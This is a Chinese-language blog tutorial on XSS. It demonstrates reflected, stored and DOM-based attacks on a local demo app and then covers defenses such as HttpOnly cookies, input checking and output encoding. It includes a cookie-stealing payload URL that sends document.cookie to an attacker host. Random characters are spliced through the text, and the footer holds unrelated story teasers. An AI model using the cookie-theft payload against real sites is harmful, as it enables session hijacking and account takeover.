Web安全 之 XSS攻擊

本文演示 Demo 的代碼地址: XSS

XSS簡(jiǎn)介

跨站腳本攻擊迄汛,英文全稱是 Cross Site Script听皿,本來(lái)縮寫是 CSS胖烛,但是為了和層疊樣式表(Cascading Style Sheets,CSS)有所區(qū)別剃允,所以在安全領(lǐng)域叫做 “XSS”教翩。是 Web 安全頭號(hào)大敵杆勇。
XSS攻擊,通常指黑客通過(guò) “HTML注入” 篡改了網(wǎng)頁(yè)迂曲,插入了惡意的腳本,從而在用戶瀏覽網(wǎng)頁(yè)時(shí)寥袭,控制用戶瀏覽器的一種攻擊路捧。

XSS 根據(jù)效果的不同可以分為三類

接下來(lái)會(huì)通過(guò) Demo 進(jìn)行演示,運(yùn)行 Demo 前安裝需 Node 和 MongoDB传黄,具體如何安裝不在這里詳細(xì)介紹了杰扫。
在終端里執(zhí)行如下腳本

git clone https://git.coding.net/yuan285150759/web-tutorial.git

cd web-tutorial/xss && npm i && npm start

然后在瀏覽器中打開 http://localhost:3000/
可以看到一個(gè)簡(jiǎn)單的文章管理頁(yè)面

文章管理

先新增幾篇文章測(cè)試一下功能,若如下圖所示膘掰,則沒(méi)有問(wèn)題 ~
新增文章

接下來(lái)開始演示不同類型的 XSS攻擊

反射型 XSS

反射型 XSS 只是簡(jiǎn)單地把用戶輸入的數(shù)據(jù) “反射” 給瀏覽器章姓。也叫做 “非持久型 XSS”。
我們?cè)谒阉骺騼?nèi)輸入 “袁大師又出新書啦” 時(shí)识埋,列表中會(huì)展示


有搜索結(jié)果

當(dāng)搜索 “XSS ” 時(shí)凡伊,列表中會(huì)展示


無(wú)搜索結(jié)果

此時(shí)程序都是正常的,接下來(lái)我們?cè)偎阉骺蜉斎胂旅鎯?nèi)容進(jìn)行搜索時(shí)
<script>alert("xss") ;</script>

列表中會(huì)展示


反射型 XSS

這就是一個(gè)簡(jiǎn)單的反射型 XSS啦窒舟。

存儲(chǔ)型 XSS

存儲(chǔ)型 XSS 會(huì)把用戶輸入的數(shù)據(jù)“存儲(chǔ)”在服務(wù)器端系忙。也叫做 “持久型 XSS”(Persistent XSS)。
當(dāng)我們新增一個(gè)名字為下面內(nèi)容的文章時(shí)

XSS <script>alert("xss") ;</script>

列表中會(huì)展示和上圖一樣的效果惠豺,并且我們每次刷新頁(yè)面時(shí)都會(huì)彈出彈框银还。如果這真的是放在公網(wǎng)上的一個(gè)頁(yè)面,那么其他人每次打開這個(gè)頁(yè)面也會(huì)彈出彈框洁墙。趕緊把 “XSS” 這篇文章刪掉吧 ~
這就是一個(gè)簡(jiǎn)單的存儲(chǔ)型 XSS啦蛹疯。

DOM Based XSS

通過(guò)修改頁(yè)面的 DOM 節(jié)點(diǎn)形成的 XSS,稱之為 DOM Based XSS热监。
當(dāng)我們新增一個(gè)名字為下面內(nèi)容的文章時(shí)

XSS<script>document.getElementById('title').innerHTML = "<a ;</script>

頁(yè)面中會(huì)展示


DOM Based XSS

可以看到文章的標(biāo)題已經(jīng)被修改了捺弦,點(diǎn)擊標(biāo)題會(huì)跳轉(zhuǎn)到一個(gè)新的頁(yè)面哦 ~
這就是一個(gè)簡(jiǎn)單的 DOM Based XSS 啦。

Cookie 劫持

一個(gè)最常見(jiàn)的 XSS 攻擊 就是盜取用戶的 Cookie,從而發(fā)起 Cookie 劫持攻擊羹呵。Cookie 中骂际,一般會(huì)保存當(dāng)前用戶的登錄憑證,如果 Cookie 被黑客盜取冈欢,以為著黑客有可能通過(guò) Cookie 直接登進(jìn)用戶的賬戶歉铝,進(jìn)行惡意操作。
例如誘使別人點(diǎn)擊一個(gè)網(wǎng)址

http://zeaho.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

如果受騙的用戶剛好已經(jīng)登錄過(guò) zeaho.com凑耻,那么太示,用戶的登錄 Cookie 信息就已經(jīng)發(fā)到了攻擊者的服務(wù)器(xss.com)了。

XSS 的防御

使用 HttpOnly

瀏覽器禁止頁(yè)面的JavaScript訪問(wèn)帶有 HttpOnly 屬性的 Cookie香浩。

輸入檢查
  • 輸入檢查类缤,在很多時(shí)候也被用于格式檢查。這些格式檢查邻吭,有點(diǎn)像一種“白名單”餐弱,也可以讓一些基于特殊字符的攻擊失效(例如用戶名只能為字母、數(shù)字組合)囱晴。
  • 服務(wù)器端代碼必須有輸入檢查的邏輯膏蚓。如果只是在客戶端使用JavaScript進(jìn)行輸入檢查,是很容易被攻擊者繞過(guò)的(例如 Postman)畸写。目前Web開發(fā)的普遍做法驮瞧,是同時(shí)在客戶端JavaScript中和服務(wù)器端代碼中實(shí)現(xiàn)相同的輸入檢查】莘遥客戶端JavaScript的輸入檢查论笔,可以阻擋大部分誤操作的正常用戶,從而節(jié)約服務(wù)器資源千所。
  • 比較智能的“輸入檢查”狂魔,可能還會(huì)匹配 XSS 的特征。比如查找用戶數(shù)據(jù)中是否包含了“<script>”淫痰、“javascript”等敏感字符毅臊。這種輸入檢查的方式,可以稱為“XSS Filter”黑界」苕遥互聯(lián)網(wǎng)上有很多開源的“XSS Filter”的實(shí)現(xiàn)。
  • XSS Filter不夠智能朗鸠。對(duì)語(yǔ)境的理解并不完整(例如‘我是“天才”’ → ‘我是"天才"’ )蚯撩。
輸出檢查

HtmlEncode、JavascriptEncode烛占、XMLEncode胎挎、JSONEncode等沟启。

框架

大部分的 XSS 漏洞可以在模板系統(tǒng)中解決。

參考

《白帽子講Web安全》

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末犹菇,一起剝皮案震驚了整個(gè)濱河市德迹,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌揭芍,老刑警劉巖胳搞,帶你破解...
    沈念sama閱讀 211,348評(píng)論 6 491
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異称杨,居然都是意外死亡肌毅,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,122評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門姑原,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)悬而,“玉大人,你說(shuō)我怎么就攤上這事锭汛”康欤” “怎么了?”我有些...
    開封第一講書人閱讀 156,936評(píng)論 0 347
  • 文/不壞的土叔 我叫張陵唤殴,是天一觀的道長(zhǎng)般婆。 經(jīng)常有香客問(wèn)我,道長(zhǎng)眨八,這世上最難降的妖魔是什么腺兴? 我笑而不...
    開封第一講書人閱讀 56,427評(píng)論 1 283
  • 正文 為了忘掉前任左电,我火速辦了婚禮廉侧,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘篓足。我一直安慰自己段誊,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,467評(píng)論 6 385
  • 文/花漫 我一把揭開白布栈拖。 她就那樣靜靜地躺著连舍,像睡著了一般。 火紅的嫁衣襯著肌膚如雪涩哟。 梳的紋絲不亂的頭發(fā)上索赏,一...
    開封第一講書人閱讀 49,785評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音贴彼,去河邊找鬼潜腻。 笑死,一個(gè)胖子當(dāng)著我的面吹牛器仗,可吹牛的內(nèi)容都是我干的融涣。 我是一名探鬼主播童番,決...
    沈念sama閱讀 38,931評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼威鹿!你這毒婦竟也來(lái)了剃斧?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,696評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤忽你,失蹤者是張志新(化名)和其女友劉穎幼东,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體檀夹,經(jīng)...
    沈念sama閱讀 44,141評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡筋粗,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,483評(píng)論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了炸渡。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片娜亿。...
    茶點(diǎn)故事閱讀 38,625評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖蚌堵,靈堂內(nèi)的尸體忽然破棺而出买决,到底是詐尸還是另有隱情,我是刑警寧澤吼畏,帶...
    沈念sama閱讀 34,291評(píng)論 4 329
  • 正文 年R本政府宣布督赤,位于F島的核電站,受9級(jí)特大地震影響泻蚊,放射性物質(zhì)發(fā)生泄漏躲舌。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,892評(píng)論 3 312
  • 文/蒙蒙 一性雄、第九天 我趴在偏房一處隱蔽的房頂上張望没卸。 院中可真熱鬧,春花似錦秒旋、人聲如沸约计。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,741評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)煤蚌。三九已至,卻和暖如春细卧,著一層夾襖步出監(jiān)牢的瞬間尉桩,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,977評(píng)論 1 265
  • 我被黑心中介騙來(lái)泰國(guó)打工贪庙, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留蜘犁,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,324評(píng)論 2 360
  • 正文 我出身青樓插勤,卻偏偏與公主長(zhǎng)得像沽瘦,于是被迫代替她去往敵國(guó)和親革骨。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,492評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容